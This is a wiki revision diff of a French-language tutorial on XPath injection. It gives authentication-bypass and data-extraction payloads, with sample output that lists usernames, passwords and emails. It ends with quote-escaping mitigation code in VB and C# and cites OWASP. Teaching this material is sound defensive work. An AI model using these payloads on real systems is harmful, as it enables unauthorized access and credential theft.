Ci-dessous, les différences entre deux révisions de la page.
Les deux révisions précédentes Révision précédente Prochaine révision | Révision précédente Prochaine révision Les deux révisions suivantes | ||
web:injection_xpath [2016/03/15 08:59] yorin Xpath Injection |
web:injection_xpath [2016/03/16 09:49] yorin |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
- | __**1) XPATH Authentification**__ | + | **Faille XPath Injection** |
+ | |||
+ | **1.Présentation de la Vulnérabilité ** | ||
+ | |||
+ | Le principe d'une injection XPath est proche de celui d'une injection SQL. Cela arrive lorsqu'un site utilises des informations que l'utilisateur entre pour construire une requête de donnée XML. En envoyant des informations mal formées (de façon intentionnelle) il est possible de bypasser des authentifications ou atteindre des données normalement inaccessible. | ||
+ | |||
+ | **2.Exploit ** | ||
+ | |||
+ | __2.1 XPATH Authentification__ | ||
**Le code :** | **Le code :** | ||
Ligne 33: | Ligne 41: | ||
<code> username=admin' or '1'='1' or ''='&password= </code> | <code> username=admin' or '1'='1' or ''='&password= </code> | ||
- | + | __2.2 Injection string:__ | |
- | __**2) Injection string:**__ | + | |
Ce type d'injection est possible sur un champs de recherche d'utilisateur par exemple. | Ce type d'injection est possible sur un champs de recherche d'utilisateur par exemple. | ||
Ligne 55: | Ligne 62: | ||
Cela listera les username : | Cela listera les username : | ||
- | **5 results | + | * **5 results found** |
- | FrankyVincent | + | * **FrankyVincent** |
- | admin | + | * **admin** |
- | Babar | + | * **Babar** |
- | Tigrou | + | * **Tigrou** |
- | Carlos** | + | * **Carlos** |
C'est jolie tout ça mais, nous on veut du mdp ! Remontons d'un cran ! | C'est jolie tout ça mais, nous on veut du mdp ! Remontons d'un cran ! | ||
Ligne 71: | Ligne 78: | ||
L'injection : <code> username=')]/../*[('1'='1 </code> renverra: | L'injection : <code> username=')]/../*[('1'='1 </code> renverra: | ||
- | **1 | + | * **1** |
- | FrankyVincent | + | * **FrankyVincent** |
- | FruitDeL@Passion | + | * **FruitDeL@Passion** |
- | Cousin@cousinealui.com | + | * **Cousin@cousinealui.com** |
- | 2 | + | * **2** |
- | admin | + | * **admin** |
- | Sup3rM0tD3p@sseD30uf | + | * **Sup3rM0tD3p@sseD30uf** |
- | admin@xpathpwnd.com | + | * **admin@xpathpwnd.com** |
- | admin | + | * **admin** |
+ | |||
+ | * **[...]** | ||
+ | |||
+ | * **Carlos@decede.fr** | ||
+ | * **Décédé** | ||
+ | |||
+ | **3.Comment s'en protéger** | ||
+ | |||
+ | Tout comme les injections SQL il faut echapper les inputs utilisateurs et "reconstruire" la requête après envoie. Il faut donc échapper la quote (') afin d'empêcher la fermeture de notre requête. Ici, toutes les ' seront remplacé par la version XML encoded à savoir "'". | ||
+ | |||
+ | <code> | ||
+ | VB: | ||
+ | Dim FindUserXPath as String | ||
+ | FindUserXPath = "//Employee[UserName/text()='" & Request("Username").Replace("'", "'") & "' And | ||
+ | Password/text()='" & Request("Password").Replace("'", "'") & "']" | ||
- | [...] | + | C#: |
+ | String FindUserXPath; | ||
+ | FindUserXPath = "//Employee[UserName/text()='" + Request("Username").Replace("'", "'") + "' And | ||
+ | Password/text()='" + Request("Password").Replace("'", "'") + "']"; | ||
+ | </code> | ||
- | Carlos@decede.fr | + | source : [[https://www.owasp.org/index.php/XPATH_Injection]] |
- | Décédé** | + |